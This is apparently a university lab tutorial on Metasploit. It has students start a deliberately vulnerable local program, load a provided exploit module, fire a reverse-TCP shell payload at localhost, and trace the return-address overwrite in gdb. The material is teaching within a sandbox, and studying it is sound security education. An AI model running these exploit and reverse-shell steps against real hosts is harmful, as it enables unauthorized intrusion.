Metasploit Basics

Introduction

Metasploit is a hacking framework written in ruby. It is designed to help make writing and executing exploits as simple as possible. This tutorial will walk you through using Metasploit to write a custom exploit.

Running Metasploit

To start the lab clone the 354 repo (if you haven't) and run the script to start your container.

git clone https://github.com/cs354/CS-354.git
bash CS-354/student_environment.bash

First step is to startup the program we'll be attacking:

cd /mnt/labs/metasploit/vulnerable_program
make
./vulnerable 4000 &

We've created an explicity vulnerable program on port 4000. This program will execute any input it's given as shellcode. Since you've completed the shellcode project you understand that writing shellcode by hand is difficult. Luckily there a great tools that can used to access and execute pre-written shellcode, enter metasploit. In metasploit these pieces of shellcode are called payloads, they are executed in the context of exploits. An exploit is a set of instructions on what to do after making a connection to the victim machine, including where in your attack to put the payload. We've written a basic exploit for you. Copy it to the metasploit exploit directory. Our exploit is simple and contains nothing other than the payload.

cp /mnt/labs/metasploit/exploits/msflab.rb /usr/share/metasploit-framework/modules/exploits

Now you're ready to launch Metasploit and use your exploit simply run msfconsole.

Before executing your exploit, it is useful to understand what some Metasploit commands do. Below are some of the command that you will use most.

All that's left is to issue a series of simple commands. The commands below use the example exploit to attack localhost on port 4000 with the linux/x64/shell/reverse_tcp payload. When it is successful it will open port 9485 on the target machine and Metasploit will show you a shell.

use msflab
set RHOST 127.0.0.1
set RPORT 4000
set PAYLOAD linux/x64/shell/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5000
exploit

Try the following:

  1. Swaping to the linux/x64/exec payload and running a cmd (maybe your own reverse shell, maybe touch a file)

  2. Change the space options in the initialize function of the exploit, what does this do?

  3. Open up the vulnerable program in gdb.

    gdb vulnerable # open the executable vulnerable set follow-fork-mode child # if a new thread is created follow the new thread not the old b overwrite # breakpoint in the function overwrite run 1234 # run with 1234 as the arguemnet (and port the program will listen on)

Now exploit again with metasploit. Gdb should jump to the overwrite function:

[Switching to Thread 0x7ffff7de5740 (LWP 499)]

Thread 2.1 "vulnerable" hit Breakpoint 1, overwrite (
    buf=0x7fffffffdb80 "\221\237\231\227\...67\f\016\r\361q\016\016\017_F\207\350d\036Td$V\001\vWF\213\316w+G\361\307z\026Yd-Vd\016d\vF\207\351F?\370\001"...) at src/server.c:34
34    ret = (long*)&ret + 1;

Switch the gdb layout which shows you C code + assembly by typing layout n until you get that view. Print out the contents of the saved RIP. This is the address the program will jump when the function completes. It can be found at $rbp+8. Also print out the address of buf, the buffer containing your payload. In gdb:

(gdb) x/gx $rbp+8
0x7fffffffdb68: 0x0000555555555458
(gdb) p buf
$1 = 0x7fffffffdb80 "\221\237\231\2...F?\370\001"

That shows us that the current return address is 0x0000555555555458 and that buf is located at 0x7fffffffdb80. Step to the end of the function with 'n' or next;

(gdb) n
35    (*ret) = (long)buf;
(gdb) n
...
42    return NULL;
(gdb) n
43  }

Now print out the return address again:

(gdb) x/gx $rbp+8
0x7fffffffdb68: 0x00007fffffffdb80

Notice it's the same as the address of buf. The program overwrote it for you. Now type 'si' (step instruction, i.e. an assembly instruction) a few to step forward in the code.

>│0x7fffffffdb80  xchg   %eax,%ecx                                                   │
 │0x7fffffffdb81  lahf                                                               │
 │0x7fffffffdb82  cltd                                                               │

You'll see a jump when the function ends to an area like this. Notice that the current RIP (indicated by > in GDB) is the address of buf 0x7fffffffdb80 we found earlier. The program is now executing our input as if it were code.

In general programs wont simply allow you to execute your own code this easily. In the buffer overflow project you will learn a common way to force them to. Press c continue and execution will continue until the next breakpoint (if there is one).